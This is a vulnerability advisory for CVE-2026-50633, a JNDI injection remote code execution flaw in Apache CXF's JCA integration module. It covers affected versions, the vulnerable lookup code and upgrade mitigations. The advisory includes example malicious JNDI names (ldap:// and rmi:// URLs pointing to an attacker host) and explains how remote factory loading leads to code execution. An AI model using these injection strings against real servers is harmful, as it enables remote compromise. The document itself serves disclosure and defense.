CVE-2026-50633

Overview

Apache CXF is an open-source services framework, maintained by the Apache Software Foundation, for building and consuming web services in Java. It implements the JAX-WS and JAX-RS APIs and supports SOAP, the WS-* standards, RESTful HTTP, and OAuth 2.0 over transports such as HTTP and JMS. Its modules are published as Maven artifacts under org.apache.cxf.

A Remote Code Execution (RCE) vulnerability (CVE-2026-50633) has been identified in the Apache CXF JCA integration module (cxf-integration-jca), which allows attackers who can influence the resource adapter's JNDI names to make CXF resolve a remote ldap:// or rmi:// reference and execute arbitrary code.

Per OWASP: Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation.

This issue affects the cxf-integration-jca module in Apache CXF versions <3.6.12, >=4.0.0 <4.1.7, and >=4.2.0 <4.2.2.

Module Info

• Product: Apache CXF
• Affected packages: org.apache.cxf:cxf-integration-jca
• Affected versions: <3.6.12, >=4.0.0 <4.1.7, >=4.2.0 <4.2.2
• GitHub repository: https://github.com/apache/cxf
• Published packages: https://central.sonatype.com/artifact/org.apache.cxf/cxf-integration-jca
• Package manager: Maven
• Fixed in:
  • Apache CXF 3.6.12, 4.1.7, 4.2.2 (OSS)
  • NES for Apache CXF v3.5.13, v3.4.12

Vulnerability Info

This High-severity vulnerability is found in the org.apache.cxf:cxf-integration-jca package in versions <3.6.12, >=4.0.0 <4.1.7, and >=4.2.0 <4.2.2 of Apache CXF.

The JCA integration module resolves EJB targets by passing JNDI names straight to javax.naming.InitialContext.lookup(). On the inbound path, MDBActivationWork reads the targetBeanJndiName property of a DispatchMDBActivationSpec (supplied through the resource adapter's activation configuration) and hands it to DispatchMDBMessageListenerImpl.lookupTargetObject():

public Object lookupTargetObject(String targetJndiName) throws Exception {
    Object home = new InitialContext().lookup(targetJndiName);
    Method method = home.getClass().getMethod("create", new Class[0]);
    return method.invoke(home, new Object[0]);
}

On the servant path, JCABusFactory builds an EJBServantConfig for each configured EJB servant, and EJBEndpoint.publish() looks up the configured name the same way:

public Server publish() throws Exception {
    jndiContext = new InitialContext();
    Object obj = jndiContext.lookup(config.getJNDIName());
    ejbHome = (EJBHome) PortableRemoteObject.narrow(obj, EJBHome.class);
    // ...
}

Neither method checks the name before the lookup. JNDI treats a name such as ldap://attacker.example/Exploit or rmi://attacker.example/Exploit as a URL and resolves it against the remote server. The server can return a serialized object, which the JVM deserializes, or a reference to a remote object factory, which the JVM loads and runs where remote class loading is permitted. An attacker who can change the JCA deployment descriptor (ra.xml), the activation parameters, or the EJB servant configuration can therefore run arbitrary code in the application server that hosts the CXF resource adapter.

Mitigation

Only recent versions of Apache CXF receive community support. Older lines are End-of-Life and will not receive public updates to address this issue.

Users of the affected components should apply one of the following mitigations:

• Upgrade to a currently supported Apache CXF release line (3.6.x or later) that contains the fix.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.